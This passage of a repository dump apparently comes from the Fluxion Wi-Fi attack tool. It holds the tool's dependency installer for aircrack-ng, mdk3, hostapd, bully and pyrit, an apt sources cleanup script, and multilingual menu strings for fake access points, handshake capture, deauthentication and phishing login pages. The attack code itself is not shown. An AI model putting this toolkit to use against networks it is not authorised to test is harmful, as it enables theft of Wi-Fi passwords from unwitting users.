100x52+0+0\"\n\t\tTOPRIGHTBIG=\"-geometry 109x30-0+0\"\n\t}\n\tfunction resD {\n\t\tTOPLEFT=\"-geometry 110x35+0+0\"\n\t\tTOPRIGHT=\"-geometry 99x40-0+0\"\n\t\tBOTTOMLEFT=\"-geometry 110x35+0-0\"\n\t\tBOTTOMRIGHT=\"-geometry 99x30-0-0\"\n\t\tTOPLEFTBIG=\"-geometry 110x72+0+0\"\n\t\tTOPRIGHTBIG=\"-geometry 99x40-0+0\"\n\t}\n\tfunction resE {\n\t\tTOPLEFT=\"-geometry 130x43+0+0\"\n\t\tTOPRIGHT=\"-geometry 68x25-0+0\"\n\t\tBOTTOMLEFT=\"-geometry 130x40+0-0\"\n\t\tBOTTOMRIGHT=\"-geometry 132x35-0-0\"\n\t\tTOPLEFTBIG=\"-geometry 130x85+0+0\"\n\t\tTOPRIGHTBIG=\"-geometry 132x48-0+0\"\n\t}\n\tfunction resF {\n\t\tTOPLEFT=\"-geometry 100x17+0+0\"\n\t\tTOPRIGHT=\"-geometry 90x27-0+0\"\n\t\tBOTTOMLEFT=\"-geometry 100x30+0-0\"\n\t\tBOTTOMRIGHT=\"-geometry 90x20-0-0\"\n\t\tTOPLEFTBIG=\"-geometry  100x70+0+0\"\n\t\tTOPRIGHTBIG=\"-geometry 90x27-0+0\"\n}\n\ndetectedresolution=$(xdpyinfo | grep -A 3 \"screen #0\" | grep dimensions | tr -s \" \" | cut -d\" \" -f 3)\n##  A) 1024x600\n##  B) 1024x768\n##  C) 1280x768\n##  D) 1280x1024\n##  E) 1600x1200\ncase $detectedresolution in\n\t\"1024x600\" ) resA ;;\n\t\"1024x768\" ) resB ;;\n\t\"1280x768\" ) resC ;;\n\t\"1366x768\" ) resC ;;\n\t\"1280x1024\" ) resD ;;\n\t\"1600x1200\" ) resE ;;\n\t\"1366x768\"  ) resF ;;\n\t\t  * ) resA ;;\nesac\n}\n\n#Install Main\nconditional_clear\nmostrarheader\n\necho \"Updating system...\"\n\n#cleaning up\nsudo apt-get install -f -y\nsudo apt-get autoremove -y\nsudo apt-get autoclean -y\nsudo apt-get clean -y\nsudo apt-get update\nsudo apt-get install xterm --yes\nclear\nmostrarheader\nxterm $HOLD -title \"Updating System\"  $TOPLEFTBIG -bg \"#FFFFFF\" -fg \"#000000\" $TOPLEFTBIG -bg \"#FFFFFF\" -fg \"#000000\" $TOPLEFTBIG -bg \"#FFFFFF\" -fg \"#000000\" -e apt-get install software-properties-common --yes\nxterm $HOLD -title \"Updating System\"  $TOPLEFTBIG -bg \"#FFFFFF\" -fg \"#000000\" $TOPLEFTBIG -bg \"#FFFFFF\" -fg \"#000000\" -e python remove.py\nxterm $HOLD -title \"Updating System\"  $TOPLEFTBIG -bg \"#FFFFFF\" -fg \"#000000\" -e python add.py\n\n##############################\n\necho -ne \"Aircrack-ng.....\"\n\tif ! hash aircrack-ng 2>/dev/null; then\n\t\techo -e \"\\e[1;31mInstalling ...\"$transparent\n\t xterm $HOLD -title \"Installing Aircrack-ng\" -e apt-get --yes install aircrack-ng\n\telse\n    echo -e \"\\e[1;32mOK!\"$transparent\n\tfi\n\tsleep 0.025\n\n##############################\n\necho -ne \"Aireplay-ng.....\"\n\tif ! hash awk 2>/dev/null; then\n\t\techo -e \"\\e[1;31mInstalling ...\"$transparent\"\"\n\t\txterm $HOLD -title \"Installing Awk\" $TOPLEFTBIG -bg \"#FFFFFF\" -fg \"#000000\" -e apt-get --yes install gawk\n\telse\n\t\techo -e \"\\e[1;32mOK!\"$transparent\n\tfi\n\tsleep 0.025\n##############################\n\necho -ne \"Airodump-ng.....\"\nif ! hash airodump-ng 2>/dev/null; then\n\techo -e \"\\e[1;31mInstalling ...\"$transparent\"\"\n\txterm $HOLD -title \"Installing Airodump-ng\" $TOPLEFTBIG -bg \"#FFFFFF\" -fg \"#000000\" -e apt-get --yes install aircrack-ng\nelse\n\techo -e \"\\e[1;32mOK!\"$transparent\"\"\nfi\n##############################\n\techo -ne \"Bully...........\"\n\tif ! hash bully 2>/dev/null; then\n\t\techo -e \"\\e[1;31mInstalling ...\"$transparent\"\"\n\t\txterm $HOLD -title \"Installing Bully\" $TOPLEFTBIG -bg \"#FFFFFF\" -fg \"#000000\" -e apt-get --yes install bully\n\telse\n\t\techo -e \"\\e[1;32mOK!\"$transparent\"\"\n\tfi\n\tsleep 0.025\n##############################\necho -ne \"Curl............\"\n\tif ! hash curl 2>/dev/null; then\n\t\techo -e \"\\e[1;31mInstalling ...\"$transparent\"\"\n\t\t\txterm $HOLD -title \"Installing Curl\" $TOPLEFTBIG -bg \"#FFFFFF\" -fg \"#000000\" -e apt-get --yes install curl\n\telse\n\t\techo -e \"\\e[1;32mOK!\"$transparent\n  fi\n\tsleep 0.025\n##############################\n\necho -ne \"Dhcpd...........\"\n\tif ! hash dhcpd 2>/dev/null; then\n\t\techo -e \"\\e[1;31mInstalling ...\"$transparent\"\"\n\t\txterm $HOLD -title \"Installing isc-dhcp-server\" $TOPLEFTBIG -bg \"#FFFFFF\" -fg \"#000000\" -e apt-get --yes install isc-dhcp-server\n\telse\n\t\techo -e \"\\e[1;32mOK!\"$transparent\n  \tfi\n\tsleep 0.025\n##############################\n\necho -ne \"Hostapd.........\"\n\tif ! hash hostapd 2>/dev/null; then\n\t\techo -e \"\\e[1;31mInstalling ...\"$transparent\"\"\n\t\txterm $HOLD -title \"Installing Hostapd\" $TOPLEFTBIG -bg \"#FFFFFF\" -fg \"#000000\" -e apt-get --yes install hostapd\n\telse\n\t\techo -e \"\\e[1;32mOK!\"$transparent\n  \tfi\n\tsleep 0.025\n##############################\n\necho -ne \"Iwconfig........\"\nif ! hash iwconfig 2>/dev/null; then\n\t\t\techo -e \"\\e[1;31mInstalling ...\"$transparent\"\"\n\t\t\txterm $HOLD -title \"Installing Iwconfig\" $TOPLEFTBIG -bg \"#FFFFFF\" -fg \"#000000\" -e apt-get --yes install iwconfig\nelse\n\techo -e \"\\e[1;32mOK!\"$transparent\"\"\nfi\nsleep 0.025\n##############################\n\techo -ne \"Lighttpd........\"\n\tif ! hash lighttpd 2>/dev/null; then\n\t\techo -e \"\\e[1;31mInstalling ...\"$transparent\"\"\n\t\t\txterm $HOLD -title \"Installing Lighttpd\" $TOPLEFTBIG -bg \"#FFFFFF\" -fg \"#000000\" -e apt-get --yes install lighttpd\n\telse\n\t\techo -e \"\\e[1;32mOK!\"$transparent\n  \tfi\n\tsleep 0.025\n##############################\n\necho -ne \"Macchanger......\"\n\tif ! hash macchanger 2>/dev/null; then\n\t\techo -e \"\\e[1;31mInstalling ...\"$transparent\"\"\n\t\t\txterm $HOLD -title \"Installing Macchanger\" $TOPLEFTBIG -bg \"#FFFFFF\" -fg \"#000000\" -e apt-get --yes install macchanger\n\telse\n\t\techo -e \"\\e[1;32mOK!\"$transparent\n  fi\n\tsleep 0.025\n##############################\n\necho -ne \"Mdk3............\"\n\tif ! hash mdk3 2>/dev/null; then\n\techo -e \"\\e[1;31mInstalling ...\"$transparent\"\"\n\txterm $HOLD -title \"Installing Macchanger\" $TOPLEFTBIG -bg \"#FFFFFF\" -fg \"#000000\" -e apt-get --yes install mdk3\n\telse\n\t\techo -e \"\\e[1;32mOK!\"$transparent\n  fi\n\tsleep 0.025\n\n##############################\n\necho -ne \"Nmap............\"\n\tif ! hash nmap 2>/dev/null; then\n\t\techo -e \"\\e[1;31mInstalling ...\"$transparent\"\"\n\t\txterm $HOLD -title \"Installing Nmap\" $TOPLEFTBIG -bg \"#FFFFFF\" -fg \"#000000\" -e apt-get install --yes nmap\n\telse\n\t\techo -e \"\\e[1;32mOK!\"$transparent\n  fi\n\tsleep 0.025\n##############################\necho -ne \"Openssl.........\"\nif ! hash openssl 2>/dev/null; then\n\techo -e \"\\e[1;31mInstalling ...\"$transparent\"\"\n\txterm $HOLD -title \"Installing Openssl\" $TOPLEFTBIG -bg \"#FFFFFF\" -fg \"#000000\" -e apt-get --yes install openssl\nelse\n\techo -e \"\\e[1;32mOK!\"$transparent\"\"\nfi\nsleep 0.025\n##############################\necho -ne \"Php-cgi.........\"\n\tif ! hash php-cgi 2>/dev/null; then\n\t\techo -e \"\\e[1;31mInstalling ...\"$transparent\"\"\n\t\t\txterm $HOLD -title \"Installing php-cgi\" $TOPLEFTBIG -bg \"#FFFFFF\" -fg \"#000000\" -e apt-get --yes install php-cgi\n\telse\n\t\techo -e \"\\e[1;32mOK!\"$transparent\n  fi\n\tsleep 0.025\n##############################\n\n\techo -ne \"Pyrit...........\"\n\tif ! hash pyrit 2>/dev/null; then\n\t\techo -e \"\\e[1;31mInstalling ...\"$transparent\"\"\n\t\txterm $HOLD -title \"Installing Pyrit\" $TOPLEFTBIG -bg \"#FFFFFF\" -fg \"#000000\" -e apt-get --yes install pyrit\n\telse\n\t\techo -e \"\\e[1;32mOK!\"$transparent\n  fi\n\tsleep 0.025\n##############################\n\necho -ne \"Python..........\"\n\tif ! hash python 2>/dev/null; then\n\t\techo -e \"\\e[1;31mInstalling ...\"$transparent\"\"\n\t\t\txterm $HOLD -title \"Installing Python\" $TOPLEFTBIG -bg \"#FFFFFF\" -fg \"#000000\" -e apt-get --yes install python\n\telse\n\t\techo -e \"\\e[1;32mOK!\"$transparent\n  fi\n\tsleep 0.025\n##############################\n\necho -ne \"rfkill..........\"\n        if ! hash rfkill 2>/dev/null; then\n              echo -e \"\\e[1;31mInstalling ...\"$transparent\"\"\n              xterm $HOLD -title \"Installing Rfkill\" $TOPLEFTBIG -bg \"#FFFFFF\" -fg \"#000000\" -e apt-get --yes install rfkill\n        else\n                echo -e \"\\e[1;32mOK!\"$transparent\"\"\n        fi\n        sleep 0.025\n\n##############################\n\necho -ne \"Unzip...........\"\n\tif ! hash unzip 2>/dev/null; then\n\t\techo -e \"\\e[1;31mInstalling ...\"$transparent\"\"\n\t\t\txterm $HOLD -title \"Installing unzip\" $TOPLEFTBIG -bg \"#FFFFFF\" -fg \"#000000\" -e apt-get --yes install unzip\n\telse\n\t\techo -e \"\\e[1;32mOK!\"$transparent\n  fi\n\tsleep 0.025\n##############################\n\necho -ne \"Xterm...........\"\n\tif ! hash xterm 2>/dev/null; then\n\t\techo -e \"\\e[1;31mInstalling ...\"$transparent\"\"\n\t\tapt-get install xterm\n\telse\n\t\techo -e \"\\e[1;32mOK!\"$transparent\n  fi\n\tsleep 0.025\n##############################\necho -ne \"strings.........\"\nif ! hash strings 2>/dev/null; then\n        echo -e \"\\e[1;31mInstalling ...\"$transparent\"\"\n        xterm $HOLD -title \"Installing binutils\" $TOPLEFTBIG -bg \"#FFFFFF\" -fg \"#000000\" -e apt-get --yes install binutils\nelse\n        echo -e \"\\e[1;32mOK!\"$transparent\"\"\nfi\nsleep 0.025\n#############################\necho -ne \"fuser...........\"\nif ! hash fuser 2>/dev/null; then\n        echo -e \"\\e[1;31mInstalling ...\"$transparent\"\"\n        xterm $HOLD -title \"Installing psmisc\" $TOPLEFTBIG -bg \"#FFFFFF\" -fg \"#000000\" -e apt-get --yes install psmisc\nelse\n        echo -e \"\\e[1;32mOK!\"$transparent\"\"\nfi\nsleep 0.025\n#############################\n\nxterm $HOLD -title \"Remove repositories\"  -e python remove.py\n\ngit clone https://github.com/molovo/revolver revolver\nchmod u+x revolver/revolver\nmv revolver/revolver /usr/local/bin\n"
  },
  {
    "path": "install/remove.py",
    "content": "#!/usr/bin/python\n\nfrom os import remove\n\ninfile = \"/etc/apt/sources.list\"\noutfile = \"/etc/apt/sources.list\"\n\ndelete_list = [\"# Kali linux repositories | Added by Katoolin\\n\",\n               \"deb http: // http.kali.org / kali kali - rolling main contrib non - free\\n\",\n               \"deb http://repo.kali.org/kali kali-bleeding-edge main\\n\"]\n\nfin = open(infile)\nremove(\"/etc/apt/sources.list\")\nfout = open(outfile, \"w+\")\nfor line in fin:\n    for word in delete_list:\n        line = line.replace(word, \"\")\n    fout.write(line)\nfin.close()\nfout.close()\n\nprint(\"\\033[1;31mDONE!  \\033[1;m\")\n"
  },
  {
    "path": "language/bundle.sh",
    "content": "\n#EN\nsource $WORK_DIR/sites/neutra/en\n\n#GER\nsource $WORK_DIR/sites/neutra/ger\n\n#ESP\nsource $WORK_DIR/sites/neutra/esp\n\n#IT\nsource $WORK_DIR/sites/neutra/it\n\n#FR\nsource $WORK_DIR/sites/neutra/fr\n\n#POR\nsource $WORK_DIR/sites/neutra/por\n\n#RUS\nsource $WORK_DIR/sites/neutra/rus\n\n#TR\nsource $WORK_DIR/sites/neutra/tr \n\n#RO\nsource $WORK_DIR/sites/neutra/ro \n\n#HU\nsource $WORK_DIR/sites/neutra/hu\n\n#ARA\nsource $WORK_DIR/sites/neutra/ara\n\n#CN\nsource $WORK_DIR/sites/neutra/cn \n\n#GR\nsource $WORK_DIR/sites/neutra/gr \n\n#CZ\nsource $WORK_DIR/sites/neutra/cz\n\n#NO\nsource $WORK_DIR/sites/neutra/no\n\n#BG\nsource $WORK_DIR/sites/neutra/bg\n\n#SRB \nsource $WORK_DIR/sites/neutra/srb\n\n#PL\nsource $WORK_DIR/sites/neutra/pl\n\n#ID\nsource $WORK_DIR/sites/neutra/id\n\n#NL\nsource $WORK_DIR/sites/neutra/nl\n\n#DAN\nsource $WORK_DIR/sites/neutra/dan\n\n#TH \nsource $WORK_DIR/sites/neutra/th\n\n#HE \nsource $WORK_DIR/sites/neutra/he\n\n#Portuguese \nsource $WORK_DIR/sites/neutra/por\n\n# SVN\nsource $WORK_DIR/sites/neutra/svn"
  },
  {
    "path": "language/ch",
    "content": "setinterface_error=\"没有检测到网卡 退出...\"\n\t# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n\theader_choosescan=\"选择信道\"\n\tchoosescan_option_1=\"所有信道 \"\n\tchoosescan_option_2=\"指定信道\"\n\t# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n\tscanchan_option_1=\"单一信道\"\n\tscanchan_option_2=\"多个信道\"\n\t# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n\t# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n\theader_scanchan=\"正在扫描目标\"\n\t# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n\theader_askAP=\"选择攻击选项\"\n\taskAP_option_1=\"伪装AP - Hostapd (\"$red\"推荐)\"\n\taskAP_option_4=\"暴力破解 - (需要握手包)\"\n\t# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n\theader_askauth=\"请选择验证密码方式\"\n\taskauth_option_2=\"提供的wpa (易错)\"\n\t# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n\theader_deauthforce=\"握手包检查\"\n\tdeauthforce_option_1=\"aircrack-ng (Miss chance)\"\n\t# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n\theader_deauthMENU=\"*抓握手包*\"\n\tdeauthMENU_option_1=\"检查握手包\"\n\t# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n\theader_webinterface=\"请选择\"\n\theader_ConnectionRESET=\"选择登陆界面\"\n\t# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n\tgeneral_back=\"返回\"\n\tgeneral_error_1=\"未找到\"\n\tgeneral_case_error=\"未知选项. 请再次选择\"\n\tgeneral_exitmode=\"清理并退出\"\n\tgeneral_exitmode_3=\"关闭 \"$grey\"forwarding of packets\"\n\tgeneral_exitmode_4=\"清理 \"$grey\"iptables\"\n\tgeneral_exitmode_5=\"恢复 \"$grey\"tput\"\n\tgeneral_exitmode_6=\"重启 \"$grey\"Network-Manager\"\n\tgeneral_exitmode_7=\"清理完成!\"\n\tgeneral_exitmode_8=\"感谢使用fluxion!\"\n\t# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n\tselection_1=\"活动的客户端\"\n\tselection_2=\"选择一个目标. 重扫 按$red r$transparent\"\n"
  },
  {
    "path": "language/cz",
    "content": "header_setinterface=\"Vyberte rozhraní\"\n\tsetinterface_error=\"Žádná síťová rozhraní, zavíraní...\"\n\n\t# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n\theader_choosescan=\"Vyberte kanál\"\n\tchoosescan_option_1=\"Všechny kanály\"\n\tchoosescan_option_2=\"Specifický kanál(y)\"\n\t# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n\tscanchan_option_1=\"Jeden kanál\"\n\tscanchan_option_2=\"Více kanálů\"\n\t# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n\theader_scan=\"Sledování WIFI\"\n\t# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n\theader_scanchan=\"Skenování cíle\"\n\t# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n\theader_askAP=\"Vyberte metodu útočení\"\n\taskAP_option_1=\"FakeAP - Hostapd (\"$red\"Doporučeno)\"\n\taskAP_option_2=\"FakeAP - airbase-ng (Pomalejší připojení)\"\n\taskAP_option_4=\"Bruteforce - (Potřebný Handshake)\"\n\t# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n\theader_askauth=\"METHODA ZÍSKÁNÍ HESLA\"\n\taskauth_option_1=\"Handshake (\"$red\"Doporučeno)\"\n\taskauth_option_2=\"Wpa_supplicant(Více chyb)\"\n\t# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n\theader_deauthforce=\"Potvrzení Handshaku\"\n\tdeauthforce_option_1=\"aircrack-ng (Minutí šance)\"\n\t# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n\theader_deauthMENU=\"*Nahrát Handshake*\"\n\tdeauthMENU_option_1=\"Zkontrolovat handshake\"\n\t# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n\theader_webinterface=\"Vyberte\"\n\theader_ConnectionRESET=\"Vyberte přihlašovací stránku\"\n\t# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n\tgeneral_back=\"Zpět\"\n\tgeneral_error_1=\"Nenalezeno\"\n\tgeneral_case_error=\"Neznámý výběr. Vyberte znovu\"\n\tgeneral_exitmode=\"Čištění a zavírání\"\n\tgeneral_exitmode_1=\"Vypínání monitorovacího rozhraní\"\n\tgeneral_exitmode_2=\"Vypínání rozhraní\"\n\tgeneral_exitmode_3=\"Vypínání \"$grey\"směrování packetů\"\n\tgeneral_exitmode_4=\"Čištění \"$grey\"iptables\"\n\tgeneral_exitmode_5=\"Obnovování \"$grey\"tput\"\n\tgeneral_exitmode_6=\"Restartování \"$grey\"Network-Manager\"\n\tgeneral_exitmode_7=\"Vyčištění proběhlo úspěšně!\"\n\tgeneral_exitmode_8=\"Děkujeme pro používání programu fluxion\"\n\t# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n\tselection_1=\"Aktivní klienti\"\n\tselection_2=\"Select target. Pro znovuskenování napište$red r$transparent\"\n"
  },
  {
    "path": "language/en",
    "content": "header_setinterface=\"Select an interface\"\n\tsetinterface_error=\"There are no wireless cards, quit...\"\n\n\t# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n\theader_choosescan=\"Select channel\"\n\tchoosescan_option_1=\"All channels \"\n\tchoosescan_option_2=\"Specific channel(s)\"\n\t# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n\tscanchan_option_1=\"Single channel\"\n\tscanchan_option_2=\"Multiple channels\"\n\t# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n\theader_scan=\"WIFI Monitor\"\n\t# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n\theader_scanchan=\"Scanning Target\"\n\t# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n\theader_askAP=\"Select Attack Option\"\n\taskAP_option_1=\"FakeAP - Hostapd (\"$red\"Recommended)\"\n\taskAP_option_2=\"FakeAP - airbase-ng (Slower connection)\"\n\taskAP_option_4=\"Bruteforce - (Handshake is required)\"\n\t# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n\theader_askauth=\"METHOD TO VERIFY THE PASSWORD\"\n\taskauth_option_1=\"Handshake (\"$red\"Recommended)\"\n\taskauth_option_2=\"Wpa_supplicant(More failures)\"\n\t# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n\theader_deauthforce=\"Handshake check\"\n\tdeauthforce_option_1=\"aircrack-ng (Miss chance)\"\n\t# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n\theader_deauthMENU=\"*Capture Handshake*\"\n\tdeauthMENU_option_1=\"Check handshake\"\n\t# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n\theader_webinterface=\"Select your option\"\n\theader_ConnectionRESET=\"Select Login Page\"\n\t# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n\tgeneral_back=\"Back\"\n\tgeneral_error_1=\"Not_Found\"\n\tgeneral_case_error=\"Unknown option. Choose again\"\n\tgeneral_exitmode=\"Cleaning and closing\"\n\tgeneral_exitmode_1=\"Disabling monitoring interface\"\n\tgeneral_exitmode_2=\"Disabling interface\"\n\tgeneral_exitmode_3=\"Disabling \"$grey\"forwarding of packets\"\n\tgeneral_exitmode_4=\"Cleaning \"$grey\"iptables\"\n\tgeneral_exitmode_5=\"Restoring \"$grey\"tput\"\n\tgeneral_exitmode_6=\"Restarting \"$grey\"Network-Manager\"\n\tgeneral_exitmode_7=\"Cleanup performed successfully!\"\n\tgeneral_exitmode_8=\"Thanks for using fluxion\"\n\t# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n\tselection_1=\"Active clients\"\n\tselection_2=\"Select target. For rescan type$red r$transparent\"\n"
  },
  {
    "path": "language/esp",
    "content": "header_setinterface=\"Seleccione una interfase\"\n    setinterface_error=\"No hay tarjetas inalambricas, saliendo...\"\n\n    #\n    header_choosescan=\"Seleccione canal\"\n    choosescan_option_1=\"Todos los canales \"\n    choosescan_option_2=\"Canal(es) específico(s)\"\n    #\n    scanchan_option_1=\"Canal único\"\n    scanchan_option_2=\"Canales múltiples\"\n    #\n    header_scan=\"WIFI Monitor\"\n    #\n    header_scanchan=\"Escaneando objetivo\"\n    #\n    header_askAP=\"Seleccione Opción de Ataque\"\n    askAP_option_1=\"FakeAP - Hostapd (\"$red\"Recomendado)\"\n    askAP_option_2=\"FakeAP - airbase-ng (Conexión más lenta)\"\n    askAP_option_4=\"Bruteforce - (Se requiere handshake)\"\n    #\n    header_askauth=\"MÉTODO PARA VERIFICAR CONTRASEÑA\"\n    askauth_option_1=\"Handshake (\"$red\"Recomendado)\"\n    askauth_option_2=\"Wpa_supplicant(Más Fallas)\"\n    #\n    header_deauthforce=\"Chequeo de Handshake\"\n    deauthforce_option_1=\"aircrack-ng (Posibilidad de error)\"\n    #\n    header_deauthMENU=\"*Capturar Handshake*\"\n    deauthMENU_option_1=\"Chequear handshake\"\n    #\n    handshakelocation_1=\"ubicación del handshake  (Ejemplo: $red$WORK_DIR.cap$transparent)\"\n    handshakelocation_2=\"Presione ${yellow}ENTER$transparent para saltar\"\n    #\n    header_webinterface=\"Seleccione su opción\"\n    header_ConnectionRESET=\"Seleccione página de Login\"\n    #\n    general_back=\"Atrás\"\n    general_error_1=\"No_Encontrado\"\n    general_case_error=\"Opción desconocida. Elija de nuevo\"\n    general_exitmode=\"Limpiando y cerrando\"\n    general_exitmode_1=\"Deshabilitando interfaz de monitoreo\"\n    general_exitmode_2=\"Deshabilitando interfaz\"\n    general_exitmode_3=\"Deshabilitando \"$grey\"reenvio de paquetes\"\n    general_exitmode_4=\"Limpiando \"$grey\"iptables\"\n    general_exitmode_5=\"Restaurando \"$grey\"tput\"\n    general_exitmode_6=\"Reiniciando \"$grey\"Network-Manager\"\n    general_exitmode_7=\"Limpieza realizada satisfactoriamente!\"\n    general_exitmode_8=\"Gracias por usar fluxion\"\n    #\n    selection_1=\"Clientes activos\"\n    selection_2=\"Seleccione objetivo. Para reescanear teclee$red r$transparent\"\n\n"
  },
  {
    "path": "language/fr",
    "content": "header_setinterface=\"Sélectionnez une interface\"\n    setinterface_error=\"Pas de carte wifi detecté, fin...\"\n\n    # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n    header_choosescan=\"Sélectionnez un canal\"\n    choosescan_option_1=\"Tous les canaux \"\n    choosescan_option_2=\"Canal spécifique\"\n    # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n    scanchan_option_1=\"Un seul canal\"\n    scanchan_option_2=\"Plusieurs canaux\"\n    # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n    header_scan=\"WIFI Monitor\"\n    # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n    header_scanchan=\"Scan du reseau\"\n    # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n    header_askAP=\"Sélectionnez une option d'attaque\"\n    askAP_option_1=\"FakeAP - Hostapd (\"$red\"Recommandé)\"\n    askAP_option_2=\"FakeAP - airbase-ng (Connexion plus lente)\"\n    askAP_option_4=\"Bruteforce - (Handshake requis)\"\n    # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n    header_askauth=\"METHODE DE VÉRIFICATION DU PASSWORD\"\n    askauth_option_1=\"Handshake (\"$red\"Recommandé)\"\n    askauth_option_2=\"Wpa_supplicant (Plus d'échecs)\"\n    # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n    header_deauthforce=\"Vérification du Handshake\"\n    deauthforce_option_1=\"aircrack-ng (Moins de chance)\"\n    # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n    header_deauthMENU=\"*Capture du Handshake*\"\n    deauthMENU_option_1=\"Vérification du Handshake\"\n    # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n    header_webinterface=\"Sélectionnez votre option\"\n    header_ConnectionRESET=\"Sélectionnez la page de connexion\"\n    # 